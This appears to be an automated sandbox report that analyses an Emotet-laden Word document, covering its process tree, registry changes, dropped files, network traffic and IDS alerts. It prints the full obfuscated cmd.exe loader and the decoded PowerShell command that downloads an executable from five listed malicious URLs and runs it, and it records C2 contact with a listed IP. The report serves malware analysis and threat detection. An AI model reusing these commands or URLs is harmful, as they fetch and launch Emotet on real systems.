File name: | FA08817_2.doc |
Full analysis: | https://app.any.run/tasks/6c053840-c7dd-4ebb-81ab-ca4a519f0bde |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 06, 2018, 13:59:38 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Dec 5 12:59:00 2018, Last Saved Time/Date: Wed Dec 5 12:59:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0 |
MD5: | 8BA0E63030A8D2F302AE1D3FEA707ECE |
SHA1: | 34B459060E6F629F603D7F3B66F120B2BFD19BAF |
SHA256: | 5F3C2F4B9CD59C245E13FCC6E56CB1518E4EB17315B5902280D556FF03FC4380 |
SSDEEP: | 1536:X81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a9A0dyCXbhCzbvtzdQNwJw:X8GhDS0o9zTGOZD6EbzCdWQbh8TsaJw |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 13 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 12 |
Words: | 2 |
Pages: | 1 |
ModifyDate: | 2018:12:05 12:59:00 |
CreateDate: | 2018:12:05 12:59:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2704 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FA08817_2.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 Modules
| |||||||||||||||
3912 | c:\DfXDlfvBp\PZfobASRtjzY\wpKRvBBHpsF\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set XZ=mzscYWdnVbtwEsr-0a82\:) 4jNJ1IOx9'/CyU$AhM=Svk5@(g{pRKlZ.;TPGouXLi}F,+7eqfD&&for %P in (38,62,67,11,42,33,9,27,12,33,57,38,64,11,41,42,7,71,11,15,61,9,25,71,3,10,23,26,71,10,56,5,71,9,35,54,65,71,7,10,57,38,37,30,60,42,33,40,10,10,51,21,34,34,49,6,15,3,61,7,13,62,54,10,17,7,10,13,56,3,61,0,34,59,31,7,4,44,27,55,47,40,10,10,51,21,34,34,65,7,13,51,65,14,71,73,65,10,56,7,71,10,34,28,63,29,19,46,31,71,28,53,61,47,40,10,10,51,21,34,34,71,44,17,31,65,7,40,56,71,6,62,56,44,7,34,43,67,60,74,72,54,36,7,37,41,47,40,10,10,51,21,34,34,49,40,17,13,13,17,7,13,62,49,17,14,56,3,61,0,34,63,16,60,55,32,74,24,11,1,47,40,10,10,51,21,34,34,54,65,7,45,19,62,56,7,54,34,54,73,52,7,52,5,6,35,60,41,33,56,43,51,54,65,10,48,33,47,33,22,57,38,40,58,43,42,33,65,11,0,33,57,38,7,27,9,23,42,23,33,46,70,33,57,38,10,35,54,42,33,72,44,35,33,57,38,1,59,65,42,38,71,7,44,21,10,71,0,51,69,33,20,33,69,38,7,27,9,69,33,56,71,31,71,33,57,73,61,14,71,17,3,40,48,38,54,40,35,23,65,7,23,38,37,30,60,22,50,10,14,36,50,38,64,11,41,56,74,61,11,7,54,61,17,6,67,65,54,71,48,38,54,40,35,68,23,38,1,59,65,22,57,38,54,62,55,42,33,65,45,55,33,57,29,73,23,48,48,60,71,10,15,29,10,71,0,23,38,1,59,65,22,56,54,71,7,49,10,40,23,15,49,71,23,18,16,16,16,16,22,23,50,29,7,44,61,45,71,15,29,10,71,0,23,38,1,59,65,57,38,44,64,67,42,33,63,62,53,33,57,9,14,71,17,45,57,66,66,3,17,10,3,40,50,66,66,38,62,58,43,42,33,17,53,39,33,57,79)do set ig=!ig!!XZ:~%P,1!&&if %P geq 79 powershell.exe "!ig:*ig!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2508 | CmD /V/C"set XZ=mzscYWdnVbtwEsr-0a82\:) 4jNJ1IOx9'/CyU$AhM=Svk5@(g{pRKlZ.;TPGouXLi}F,+7eqfD&&for %P in (38,62,67,11,42,33,9,27,12,33,57,38,64,11,41,42,7,71,11,15,61,9,25,71,3,10,23,26,71,10,56,5,71,9,35,54,65,71,7,10,57,38,37,30,60,42,33,40,10,10,51,21,34,34,49,6,15,3,61,7,13,62,54,10,17,7,10,13,56,3,61,0,34,59,31,7,4,44,27,55,47,40,10,10,51,21,34,34,65,7,13,51,65,14,71,73,65,10,56,7,71,10,34,28,63,29,19,46,31,71,28,53,61,47,40,10,10,51,21,34,34,71,44,17,31,65,7,40,56,71,6,62,56,44,7,34,43,67,60,74,72,54,36,7,37,41,47,40,10,10,51,21,34,34,49,40,17,13,13,17,7,13,62,49,17,14,56,3,61,0,34,63,16,60,55,32,74,24,11,1,47,40,10,10,51,21,34,34,54,65,7,45,19,62,56,7,54,34,54,73,52,7,52,5,6,35,60,41,33,56,43,51,54,65,10,48,33,47,33,22,57,38,40,58,43,42,33,65,11,0,33,57,38,7,27,9,23,42,23,33,46,70,33,57,38,10,35,54,42,33,72,44,35,33,57,38,1,59,65,42,38,71,7,44,21,10,71,0,51,69,33,20,33,69,38,7,27,9,69,33,56,71,31,71,33,57,73,61,14,71,17,3,40,48,38,54,40,35,23,65,7,23,38,37,30,60,22,50,10,14,36,50,38,64,11,41,56,74,61,11,7,54,61,17,6,67,65,54,71,48,38,54,40,35,68,23,38,1,59,65,22,57,38,54,62,55,42,33,65,45,55,33,57,29,73,23,48,48,60,71,10,15,29,10,71,0,23,38,1,59,65,22,56,54,71,7,49,10,40,23,15,49,71,23,18,16,16,16,16,22,23,50,29,7,44,61,45,71,15,29,10,71,0,23,38,1,59,65,57,38,44,64,67,42,33,63,62,53,33,57,9,14,71,17,45,57,66,66,3,17,10,3,40,50,66,66,38,62,58,43,42,33,17,53,39,33,57,79)do set ig=!ig!!XZ:~%P,1!&&if %P geq 79 powershell.exe "!ig:*ig!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2600 | powershell.exe "$uFw='bJE';$LwM=new-object Net.WebClient;$UOG='http://gd-consultants.com/PxnYvJZ@http://inspirefit.net/1XI25xe1Ko@http://evaxinh.edu.vn/SFGDqlynUM@http://ghassansugar.com/X0GZ9D4wz@http://link2u.nl/lfRnRWdCGM'.Split('@');$hTS='iwm';$nJb = '57';$tCl='qvC';$zPi=$env:temp+'\'+$nJb+'.exe';foreach($lhC in $UOG){try{$LwM.DownloadFile($lhC, $zPi);$luZ='ikZ';If ((Get-Item $zPi).length -ge 80000) {Invoke-Item $zPi;$vLF='XuK';break;}}catch{}}$uTS='aKA';" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2484 | "C:\Users\admin\AppData\Local\Temp\57.exe" | C:\Users\admin\AppData\Local\Temp\57.exe | — | powershell.exe | |||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
| |||||||||||||||
3316 | "C:\Users\admin\AppData\Local\Temp\57.exe" | C:\Users\admin\AppData\Local\Temp\57.exe | 57.exe | ||||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
| |||||||||||||||
2052 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 57.exe | |||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Exit code: 0 Version: 6.1.7600.16385 Modules
| |||||||||||||||
3400 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: Mozilla, Netscape Integrity Level: MEDIUM Version: 6.1.7600.16385 Modules
|
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | hm. |
Value: 686D2E00900A0000010000000000000000000000 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | WORDFiles |
Value: 1300627477 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1300627596 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1300627597 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
Operation: | write | Name: | MTTT |
Value: 900A0000DA1EBCF36B8DD40100000000 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | !o. |
Value: 216F2E00900A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | delete value | Name: | !o. |
Value: 216F2E00900A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (2704) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2704 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR59E8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2600 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XSJXNV87HUPTPWAF1UIN.temp | — | |
MD5:— | SHA256:— | |||
2704 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:AAECCC94E3ECDA32925DF38101B107AE | SHA256:6098494583438F2C06D94E99F7A7D02D962683B62FA41223DC27CFA126DDFF9E | |||
2600 | powershell.exe | C:\Users\admin\AppData\Local\Temp\57.exe | executable | |
MD5:7CEA8F6DC7B092ABC146E0B16C788896 | SHA256:25DE4CDE01A275264F205C12C132722F67A5B89BA513E27EE4B8D4E5F19B1E5B | |||
2600 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF246978.TMP | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
2600 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
3316 | 57.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:7CEA8F6DC7B092ABC146E0B16C788896 | SHA256:25DE4CDE01A275264F205C12C132722F67A5B89BA513E27EE4B8D4E5F19B1E5B | |||
2704 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$08817_2.doc | pgc | |
MD5:C7141BC4397B7FE567AC5C77A7A8E0AD | SHA256:87D300948933793BFF8A0706AD326E2ECFDF3FE4257AC9D37F52955FF00F69C5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
2600 | powershell.exe | GET | 301 | 160.153.96.128:80 | http://gd-consultants.com/PxnYvJZ | US | html | 242 b | malicious |
2600 | powershell.exe | GET | 200 | 160.153.96.128:80 | http://gd-consultants.com/PxnYvJZ/ | US | executable | 160 Kb | malicious |
3400 | archivesymbol.exe | GET | 200 | 142.169.99.1:7080 | http://142.169.99.1:7080/ | CA | binary | 132 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2600 | powershell.exe | 160.153.96.128:80 | gd-consultants.com | GoDaddy.com, LLC | US | malicious |
3400 | archivesymbol.exe | 142.169.99.1:7080 | — | TELUS Communications Inc. | CA | malicious |
Domain | IP | Reputation |
---|---|---|
gd-consultants.com |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
2600 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
2600 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2600 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2600 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3400 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3400 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |